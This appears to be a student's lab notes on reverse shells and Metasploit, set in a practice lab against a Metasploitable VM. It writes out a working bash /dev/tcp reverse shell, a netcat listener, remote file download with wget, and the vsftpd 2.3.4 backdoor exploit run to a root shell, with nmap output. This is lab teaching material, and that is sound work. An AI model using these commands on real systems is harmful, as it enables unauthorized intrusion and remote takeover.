

# Rev Shells

FOR THIS ACTIVITY YOU WILL NEED TO MAKE 3 VMS: A KALI, AN UBUNTU AND A METASPLOITABLE (using the same method as last week)

## Netcat RevShell

- [Revshells.com](https://revshells.com) - different types of rev shells and how to choose

The screenshot shows the 'Reverse Shell Generator' website interface. At the top, there's a 'Theme' dropdown set to 'Dark'. The main title is 'Reverse Shell Generator'. Below it, there are two main sections: 'IP & Port' and 'Listener'. In the 'IP & Port' section, the 'IP' field contains '10.10.10.10' and the 'Port' field contains '9001'. A handwritten note 'host: IP' with an arrow points to the IP field. Another handwritten note 'Choose a weird number' with an arrow points to the port field. The 'Listener' section has a 'Type' dropdown set to 'nc'. A handwritten note 'Copy onto host machine' with an arrow points to the listener configuration area. Below these sections, there are tabs for 'Reverse', 'Bind', 'MSFVenom', and 'HoaxShell'. The 'Reverse' tab is selected. Underneath, there's a search bar and a list of shell types. The 'Bash -i' option is selected. A handwritten note 'Copy onto target machine' with an arrow points to the command field. The command field contains the command: `{ sh -i >& /dev/tcp/10.10.10.10/9001 0>&1 }`. At the bottom, there are 'Raw' and 'Copy' buttons.

Different types of shells are better depending on the use - the most universally accepted is 'nc mkfifo' but for this application bash *should* be fine.

- Set up the netcat listener on the “attacking” machine

```
nc -lvp [port number]
```

- Execute the Reverse shell on the target machine (in terminal)

```
sh -i >& /dev/tcp/10.10.10.10/9001 0>&1
```

- Listener will now have a connection established
- (optional but recommended) spawn a CLI interface for remote management (makes it more aesthetically pleasing :3)

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

You can now easily navigate the target machine on the host and remotely execute commands. Just imagine the possibilities!!!

### Uploading Files to reverse shell (uploading onto the target machine)

- To remotely import files to the target machine set up a Python http server on the host machine

```
python3 -m http.server 80
```

- On the target machine (in reverse shell connection), use wget to import the file you want

```
wget http://[hostIP]/file.py
```

Note: the path is indexed from where the server is being run

## MSFConsole

Assume we get the following nmap scan (from scan of Metasploitable machine):

```

└─(osboxes@osboxes)-[~]
└─$ nmap -sV -sC 192.168.3.159 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2024-10-15 09:29 EDT
Nmap scan report for 192.168.3.159
Host is up (0.0040s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 192.168.4.159
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protoc
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_ssl-date: 2024-10-15T13:30:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organ
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_EXPORT40_WITH_MD5

```

```

|      SSL2_RC2_128_CBC_WITH_MD5
|      SSL2_RC4_128_WITH_MD5
|      SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|      SSL2_DES_64_CBC_WITH_MD5
|_     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10
53/tcp  open  domain          ISC BIND 9.4.2
| dns-nsid:
|_  bind.version: 9.4.2
80/tcp  open  http              Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind           2 (RPC #100000)
| rpcinfo:
|   program version      port/proto  service
|   100000    2                111/tcp    rpcbind
|   100000    2                111/udp    rpcbind
|   100003    2,3,4            2049/tcp   nfs
|   100003    2,3,4            2049/udp   nfs
|   100005    1,2,3            39182/tcp  mountd
|   100005    1,2,3            47972/udp  mountd
|   100021    1,3,4            45523/tcp  nlockmgr
|   100021    1,3,4            60559/udp  nlockmgr
|   100024    1                35717/udp  status
|_  100024    1                48021/tcp  status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi        GNU Classpath grmiregistry
1524/tcp open  bindshell        Metasploitable root shell
2049/tcp open  nfs              2-4 (RPC #100003)
2121/tcp open  ftp              ProFTPD 1.3.1
3306/tcp open  mysql            MySQL 5.0.51a-3ubuntu5
| mysql-info:

```

```

| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 9
| Capabilities flags: 43564
| Some Capabilities: Support41Auth, SupportsTransactions, Con
| Status: Autocommit
|_ Salt: qU4E;;RnQ*|Sk@=PZV!>
5432/tcp open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organ
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2024-10-15T13:30:41+00:00; 0s from scanner time.
5900/tcp open  vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open  X11 (access denied)
6667/tcp open  irc UnrealIRCd
8009/tcp open  ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION re
8180/tcp open  http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
Service Info: Hosts: metasploitable.localdomain, irc.Metasploita

```

#### Host script results:

```

|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 59m59s, deviation: 2h00m00s, median: 0s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain

```

```
|_ System time: 2024-10-15T09:30:33-04:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>
```

Service detection performed. Please report any incorrect results.  
Nmap done: 1 IP address (1 host up) scanned in 72.86 seconds

This is very good but we need to exploit a vulnerable service running.  
MSFConsole is a great way to do that.

- Load MSFConsole

```
msfconsole
```

- Search some of the terms found in the nmap scan to check if msfconsole has an exploit for it e.g.

```
search vsftpd 2.3.4
```

With some prior knowledge you would know that vsftpd version 2.3.4 is a vulnerable service open on the tcp port 21 so I just used this one but feel free to try the others

```
msf6 > search vsftpd 2.3.4

Matching Modules

#  Name                                     Disclosure Date  Rank    Check
-  -                                     -              -      -
0  exploit/unix/ftp/vsftpd_234_backdoor    2011-07-03      excellent No
VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > 
```

- In this case there is only one exploit available, so proceed with the backdoor command execution payload by entering 'use 0'
- You can then prompt for the next step with the 'show options' command. This will ask you to apply an RHOST so it knows who to attack.

```
msf6 > use 0
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRBSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRBSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRBSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    21               yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  LHOST     21               yes       The target host
  LURI      21               yes       The target URI

Exploit target:

  Id  Name
  --  -
  0    Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.3.159
RHOSTS => 192.168.3.159
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

- use the 'exploit' command to execute the payload and gain a reverse shell on the machine

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.3.159:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.3.159:21 - USER: 331 Please specify the password.
[+] 192.168.3.159:21 - Backdoor service has been spawned, handling ...
[+] 192.168.3.159:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.

[*] Command shell session 1 opened (192.168.4.159:42991 → 192.168.3.159:6200) at 2024-10-15 09:46:01 -0400

whoami
root
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

You are now a cool Hacker B)